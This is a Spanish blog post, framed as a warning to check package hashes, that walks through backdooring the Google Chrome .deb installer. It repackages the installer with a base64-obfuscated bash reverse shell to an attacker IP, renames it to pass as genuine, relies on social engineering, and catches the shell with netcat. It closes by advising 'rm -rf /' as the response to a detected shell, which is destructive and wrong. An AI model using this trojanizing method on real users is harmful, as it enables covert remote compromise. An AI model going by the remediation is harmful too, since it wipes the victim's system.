¿ Por que no te puedes fiar de los paquetes .deb ? cover image

¿ Por que no te puedes fiar de los paquetes .deb ?

Jordi Forès Garcia • July 14, 2022

hacking

En este post vamos a ver la importancia de comparar los hashes MD5 de los archivos que nos descargamos antes de instalarlos, ya que podrían ser modificados. En todas las páginas que nos podemos descargar un archivo normalmente viene acompañado de una sentencia parecida a la siguiente 49528316911B3D3DD03771ADEE66256E con este hash podemos comparar si los archivos han sido modificados, ya que su hash será diferente.

Aquí vamos a ver como el hash del paquete .deb que he creado yo es diferente del paquete original. El archivo que está un directorio más atras es el archivo que tras hacer unos cambios lleva unos comandos para hacer una reverse shell. Lo tuve que sacar del mismo directorio que el original, ya que daba conflicto el nombre.

Comparación de hashes

Lo primero que tenemos que hacer es descargar él .deb original para poder editarlo y así inyectarle el payload necesario para acceder a nuestra víctima. Para eso nosotros utilizaremos él .deb de Google Chrome que es uno de los mejores navegadores webs que hay. Vamos a la página original y nos descargamos él .deb para luego editarlo. Cuando le den aceptar e instalar no se les instalara automáticamente no se preocupen, les dejara el archivo en la ruta que tengan configurada para sus descargar.

Comparación de hashes

Una vez ya tenemos él .deb original, lo que tenemos que hacer es descomprimirlo para poder editarlo y así inyectar el código malicioso. Para eso necesitaremos la ayuda del comando dpkg. Con dpkg vamos a desempaquetar y a volver a empaquetar el paquete para que parezca lo más real posible, vamos a copiar el siguiente oneliner que nos crea una carpeta llamada Google para luego insertar todo lo que extrae del paquete.

mkdir google; dpkg-deb --extrat google-chrome-stable_current_amd64.deb google
ls google

Comparación de hashes

Como tenemos que montar el paquete de nuevo se tiene que seguir una especie de arquitectura con las carpetas, si buscáis información de como crear un paquete .deb os saldrá información al respecto. Entonces necesitaremos el directorio DEBIAN con sus archivos necesarios, utilizaremos el comando siguiente para extraerlo del paquete original y ponerlo en el la ruta siguiente google/DEBIAN que vamos a crear. Con esto después de añadir el payload ya podremos reconstruir nuestro paquete.

dpkg-deb --control google-chrome-stable_current_amd64.deb google/DEBIAN

Comparación de hashes

Esto ira variando dependiendo de él .deb que analizamos, en el caso de google-chrome-stable_current_amd64.deb el archivo que necesitamos se encuentra en el directorio /opt/google/chrome y tendremos que editar el archivo llamado google-chrome, aquí es donde tenemos que poner nuestro payload.

cd google/opt/google/chrome/; ls

Comparación de hashes

Para generar el payload lo que hice fue crear el comando de la reverse shell y encodearla con base64 para luego hacer un echo y des codearla, le pipeamos el comando bash y nos lo ejecuta. Esto lo he hecho para que no lo detecte el syslog cuando lo ejecute el google-chrome-stable. Tenemos que tener en cuenta que esto se ejecutara cuando, ejecutemos el google-chrome entonces tenemos que añadirle al final del comando el & para que no se quede colgado el proceso.

echo " bash -i >& /dev/tcp/ip_atacante/puerto_atacante 0>&1" | base64 

Comparación de hashes

Y te parecerá poco, pero es lo único que necesitamos para comprometer un equipo. Evidentemente que se pueden hacer muchas más cosas, como ganar persistencia una vez ejecutado el google-chrome, sería lo correcto, ya que si perdemos la conexión dependemos de que vuelva a ejecutar el google otra vez. Ahora solo nos queda montar el paquete, para eso ejecutaremos el siguiente comando, nos tenemos que situar fuera de la carpeta que forma el paquete, en nuestro caso es google/.

cd ../; dpkg --build google

Comparación de hashes

Una vez termine el proceso de creación de nuestro paquete, lo renombramos para que sea igual que l'original, así nuestras víctimas no lo detectaran. Una vez creado y renombrado nos queda usar la ingeniería social para hacer que alguien lo ejecute, aquí cada cual con su imaginación.

mv google.deb google-chrome-stable_current_amd64.deb

Comparación de hashes

En mi caso, como es una prueba didáctica lo voy a ejecutar en un entrono controlado, donde utilizo un Ubuntu 20.04 de víctima y el Arch como atacante (si es el Arch de S4vitaar aquí el video donde enseña como crearlo). En este momento es cuando la víctima si comparase los hashes se daría cuenta de que está a punto de instalar un archivo no legítimo, pero como no lo sabe lo instala con el siguiente comando.

sudo dpkg -i google-chrome-stable_current_amd64.deb

Comparación de hashes

Como atacante tenemos que ponernos en escucha para cuando la víctima ejecute el google-chrome pillar la reverse shell que nos envía. Para eso nos ayudamos del siguiente comando.

nc -lnvp 9001

Comparación de hashes

Solo nos queda esperar que nuestra víctima utilicé el google-chrome, así que como nosotros somos también la víctima vamos a ejecutarlo. Podemos ejecutarlo por comandos o buscando en el buscador go.. Ya nos aparecerá el icono de google-chrome.

Comparación de hashes

Podemos comprobar que se ha abierto sin ningún problema, y tengo que decir que bastante rápido, lo que es buena señal, así nuestra víctima no notara nada sospechoso.

Comparación de hashes

El resultado es que nos devuelve la reverse shell que hemos inyectado en el paquete, podemos decir que hemos comprometido con éxito a nuestra víctima, gracias a que no ha comparado el hash y así no se ha dado cuanta de que este paquete no es legítimo.

Comparación de hashes

Si os ha gustado y queréis que haga un video igual, pero enseñando como hacerlo fuera de la red local, me lo podéis comentar en la sección de contacto enviándome un mensaje (aquí).

Como bien os dije que estaba trabajando en una empresa de Analista, vamos a ver si podemos detectar alguna anomalía mientras tenemos la reverse shell ejecutándose. De esta forma podemos ver como se comporta, que nos reporta y que cosas no podemos ver.

Lo primero que quería ver era si el syslog reportaba la ejecución de la reverse shell, si le echamos un vistazo podemos ver errores de buffer, como se ejecutan unos procesos y activa un demonio, pero en ningún momento vemos la ejecución de nuestra reverse shell.

Comparación de hashes

Una de las formas que nos podemos dar cuenta de que nos han hecho una reverse shell es, mirando las conexiones establecidas y grepear por el tipo de shell que conozcamos como sh,bash,zsh… De esta forma podemos ver que tenemos una sesión establecida con la IP 192.168.1.97 que es la IP del atacante, cuando nos damos cuenta de esto tenemos que terminar el proceso rápido, para eso hacemos lo siguiente.

Comparación de hashes

rm -rf / 

Si habéis llegada asta aquí muchas gracias, espero que os haya gustado, espero que nos veamos algún día en directo Twitch